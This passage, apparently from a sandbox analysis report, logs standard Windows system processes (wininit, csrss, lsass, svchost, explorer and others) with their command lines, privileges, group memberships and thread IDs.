os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x124" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 205 os_tid = 0x160 Thread: id = 214 os_tid = 0x190 Thread: id = 215 os_tid = 0x194 Thread: id = 222 os_tid = 0x1b0 Thread: id = 223 os_tid = 0x1b4 Thread: id = 225 os_tid = 0x1c4 Thread: id = 234 os_tid = 0x1f0 Process: id = "22" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x1d4d8000" os_pid = "0x168" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x154" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 206 os_tid = 0x16c Thread: id = 207 os_tid = 0x170 Thread: id = 208 os_tid = 0x174 Thread: id = 209 os_tid = 0x178 Thread: id = 210 os_tid = 0x17c Thread: id = 213 os_tid = 0x18c Thread: id = 221 os_tid = 0x1ac Thread: id = 224 os_tid = 0x1b8 Process: id = "23" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0xf2de000" os_pid = "0x180" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x154" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 212 os_tid = 0x184 Thread: id = 216 os_tid = 0x19c Thread: id = 217 os_tid = 0x1a0 Thread: id = 287 os_tid = 0x2bc Thread: id = 300 os_tid = 0x2f4 Thread: id = 368 os_tid = 0x114 Thread: id = 369 os_tid = 0x110 Thread: id = 375 os_tid = 0x13c Process: id = "24" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0xe395000" os_pid = "0x1bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 227 os_tid = 0x1c0 Thread: id = 245 os_tid = 0x20c Thread: id = 246 os_tid = 0x210 Thread: id = 247 os_tid = 0x214 Thread: id = 248 os_tid = 0x218 Thread: id = 249 os_tid = 0x21c Thread: id = 250 os_tid = 0x220 Thread: id = 251 os_tid = 0x224 Thread: id = 252 os_tid = 0x228 Thread: id = 253 os_tid = 0x22c Thread: id = 254 os_tid = 0x230 Thread: id = 255 os_tid = 0x234 Thread: id = 270 os_tid = 0x270 Thread: id = 370 os_tid = 0x118 Thread: id = 430 os_tid = 0x488 Thread: id = 444 os_tid = 0x4c0 Thread: id = 448 os_tid = 0x4d0 Process: id = "25" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0xeca0000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 228 os_tid = 0x1d0 Thread: id = 230 os_tid = 0x1dc Thread: id = 232 os_tid = 0x1e4 Thread: id = 233 os_tid = 0x1e8 Thread: id = 235 os_tid = 0x1ec Thread: id = 236 os_tid = 0x1f4 Thread: id = 238 os_tid = 0x1f8 Thread: id = 239 os_tid = 0x1fc Thread: id = 240 os_tid = 0x200 Thread: id = 241 os_tid = 0x204 Thread: id = 242 os_tid = 0x208 Thread: id = 374 os_tid = 0x138 Thread: id = 379 os_tid = 0x140 Process: id = "26" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0xe1a7000" os_pid = "0x1d4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 229 os_tid = 0x1d8 Thread: id = 257 os_tid = 0x240 Thread: id = 284 os_tid = 0x2ac Thread: id = 286 os_tid = 0x2b8 Thread: id = 288 os_tid = 0x2c0 Thread: id = 290 os_tid = 0x2c8 Thread: id = 291 os_tid = 0x2cc Thread: id = 292 os_tid = 0x2d0 Thread: id = 293 os_tid = 0x2d4 Thread: id = 296 os_tid = 0x2e0 Process: id = "27" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xc011000" os_pid = "0x238" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00007183" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 256 os_tid = 0x23c Thread: id = 258 os_tid = 0x244 Thread: id = 259 os_tid = 0x248 Thread: id = 260 os_tid = 0x24c Thread: id = 261 os_tid = 0x250 Thread: id = 262 os_tid = 0x254 Thread: id = 263 os_tid = 0x258 Thread: id = 264 os_tid = 0x25c Thread: id = 265 os_tid = 0x260 Thread: id = 267 os_tid = 0x264 Thread: id = 268 os_tid = 0x268 Thread: id = 269 os_tid = 0x26c Thread: id = 272 os_tid = 0x278 Thread: id = 274 os_tid = 0x284 Thread: id = 275 os_tid = 0x288 Thread: id = 277 os_tid = 0x290 Thread: id = 314 os_tid = 0x330 Process: id = "28" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1d547000" os_pid = "0x27c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b7b5" [0xc000000f], "LOCAL" [0x7] Thread: id = 273 os_tid = 0x280 Thread: id = 276 os_tid = 0x28c Thread: id = 278 os_tid = 0x294 Thread: id = 279 os_tid = 0x298 Thread: id = 280 os_tid = 0x29c Thread: id = 281 os_tid = 0x2a0 Thread: id = 282 os_tid = 0x2a4 Thread: id = 283 os_tid = 0x2a8 Process: id = "29" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xde54000" os_pid = "0x2b0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba93" [0xc000000f], "LOCAL" [0x7] Thread: id = 285 os_tid = 0x2b4 Thread: id = 289 os_tid = 0x2c4 Thread: id = 295 os_tid = 0x2dc Thread: id = 298 os_tid = 0x2ec Thread: id = 299 os_tid = 0x2f0 Thread: id = 312 os_tid = 0x328 Thread: id = 313 os_tid = 0x32c Thread: id = 317 os_tid = 0x340 Thread: id = 318 os_tid = 0x344 Thread: id = 323 os_tid = 0x35c Thread: id = 324 os_tid = 0x360 Thread: id = 326 os_tid = 0x368 Thread: id = 336 os_tid = 0x390 Thread: id = 337 os_tid = 0x394 Thread: id = 338 os_tid = 0x398 Thread: id = 341 os_tid = 0x3a8 Thread: id = 343 os_tid = 0x3b0 Thread: id = 380 os_tid = 0x16c Thread: id = 384 os_tid = 0x1d0 Thread: id = 386 os_tid = 0x24c Thread: id = 394 os_tid = 0x114 Thread: id = 399 os_tid = 0x130 Thread: id = 400 os_tid = 0x1b0 Process: id = "30" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0xd7fc000" os_pid = "0x2e4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x180" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 297 os_tid = 0x2e8 Thread: id = 301 os_tid = 0x2f8 Thread: id = 302 os_tid = 0x2fc Thread: id = 303 os_tid = 0x300 Thread: id = 304 os_tid = 0x310 Thread: id = 305 os_tid = 0x314 Thread: id = 308 os_tid = 0x318 Thread: id = 309 os_tid = 0x31c Thread: id = 310 os_tid = 0x320 Thread: id = 311 os_tid = 0x324 Process: id = "31" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x905d000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cf73" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 315 os_tid = 0x338 Thread: id = 316 os_tid = 0x33c Thread: id = 319 os_tid = 0x348 Thread: id = 320 os_tid = 0x34c Thread: id = 321 os_tid = 0x350 Thread: id = 327 os_tid = 0x36c Thread: id = 328 os_tid = 0x370 Thread: id = 329 os_tid = 0x374 Thread: id = 333 os_tid = 0x384 Thread: id = 334 os_tid = 0x388 Thread: id = 346 os_tid = 0x3bc Thread: id = 349 os_tid = 0x3c8 Thread: id = 352 os_tid = 0x3d8 Thread: id = 353 os_tid = 0x3dc Thread: id = 358 os_tid = 0x3f4 Thread: id = 359 os_tid = 0x3f8 Thread: id = 371 os_tid = 0x10c Thread: id = 372 os_tid = 0xf4 Thread: id = 376 os_tid = 0x130 Thread: id = 378 os_tid = 0x124 Thread: id = 407 os_tid = 0x41c Thread: id = 408 os_tid = 0x420 Process: id = "32" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9263000" os_pid = "0x354" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d19a" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 322 os_tid = 0x358 Thread: id = 325 os_tid = 0x364 Thread: id = 330 os_tid = 0x378 Thread: id = 331 os_tid = 0x37c Thread: id = 332 os_tid = 0x380 Thread: id = 335 os_tid = 0x38c Thread: id = 347 os_tid = 0x3c0 Thread: id = 348 os_tid = 0x3c4 Thread: id = 351 os_tid = 0x3d4 Thread: id = 356 os_tid = 0x3ec Thread: id = 360 os_tid = 0x3fc Thread: id = 373 os_tid = 0x134 Thread: id = 377 os_tid = 0x128 Thread: id = 381 os_tid = 0x154 Thread: id = 401 os_tid = 0x394 Thread: id = 406 os_tid = 0x418 Thread: id = 411 os_tid = 0x42c Thread: id = 412 os_tid = 0x430 Thread: id = 414 os_tid = 0x434 Thread: id = 415 os_tid = 0x158 Thread: id = 417 os_tid = 0x444 Thread: id = 419 os_tid = 0x450 Thread: id = 420 os_tid = 0x454 Thread: id = 423 os_tid = 0x404 Thread: id = 431 os_tid = 0x48c Process: id = "33" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0x780c000" os_pid = "0x39c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0x2b0" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2e0" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba93" [0xc000000f], "LOCAL" [0x7] Thread: id = 339 os_tid = 0x3a0 Thread: id = 340 os_tid = 0x3a4 Thread: id = 342 os_tid = 0x3ac Thread: id = 344 os_tid = 0x3b4 Thread: id = 345 os_tid = 0x3b8 Process: id = "34" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8c73000" os_pid = "0x3e0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e083" [0xc000000f], "LOCAL" [0x7] Thread: id = 354 os_tid = 0x3e4 Thread: id = 355 os_tid = 0x3e8 Thread: id = 357 os_tid = 0x3f0 Thread: id = 361 os_tid = 0xc8 Thread: id = 362 os_tid = 0xcc Thread: id = 363 os_tid = 0x100 Thread: id = 366 os_tid = 0x104 Thread: id = 382 os_tid = 0x1b0 Thread: id = 413 os_tid = 0x438 Process: id = "35" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6535000" os_pid = "0x200" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "27" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d19a" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 383 os_tid = 0x204 Thread: id = 385 os_tid = 0x1fc Thread: id = 387 os_tid = 0x278 Thread: id = 389 os_tid = 0x350 Thread: id = 390 os_tid = 0x36c Thread: id = 391 os_tid = 0x390 Thread: id = 392 os_tid = 0x394 Process: id = "36" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7284000" os_pid = "0x298" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f23b" [0xc000000f], "LOCAL" [0x7] Thread: id = 388 os_tid = 0x2d8 Thread: id = 393 os_tid = 0x3c0 Thread: id = 395 os_tid = 0xcc Thread: id = 396 os_tid = 0x13c Thread: id = 397 os_tid = 0x134 Thread: id = 398 os_tid = 0x140 Thread: id = 402 os_tid = 0x408 Thread: id = 403 os_tid = 0x40c Thread: id = 404 os_tid = 0x410 Thread: id = 405 os_tid = 0x414 Thread: id = 409 os_tid = 0x424 Thread: id = 410 os_tid = 0x428 Thread: id = 433 os_tid = 0x494 Process: id = "37" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x69be000" os_pid = "0x43c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x180" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9f1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 416 os_tid = 0x440 Process: id = "38" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x7b905000" os_pid = "0x448" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x334" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9f1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 418 os_tid = 0x44c Thread: id = 425 os_tid = 0x474 Thread: id = 426 os_tid = 0x478 Thread: id = 427 os_tid = 0x480 Thread: id = 429 os_tid = 0x484 Process: id = "39" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x6371000" os_pid = "0x458" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x43c" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9f1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 421 os_tid = 0x45c Thread: id = 428 os_tid = 0x47c Thread: id = 441 os_tid = 0x4b8 Thread: id = 447 os_tid = 0x4d8 Thread: id = 451 os_tid = 0x4e4 Thread: id = 452 os_tid = 0x4e8 Thread: id = 454 os_tid = 0x4ec Thread: id = 455 os_tid = 0x4f0 Thread: id = 456 os_tid = 0x4f8 Process: id = "40" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x58b5000" os_pid = "0x46c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:00010c22" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 424 os_tid = 0x470 Thread: id = 434 os_tid = 0x498 Thread: id = 436 os_tid = 0x4a0 Thread: id = 437 os_tid = 0x4a4 Thread: id = 440 os_tid = 0x4ac Thread: id = 445 os_tid = 0x4c4 Process: id = "41" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x5d21000" os_pid = "0x4b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9f1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 442 os_tid = 0x4b4 Thread: id = 449 os_tid = 0x4d4 Thread: id = 453 os_tid = 0x4e0 Thread: id = 457 os_tid = 0x4f4 Process: id = "42" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230fb000" os_pid = "0x4c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001190c" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 446 os_tid = 0x4cc Thread: id = 450 os_tid = 0x4dc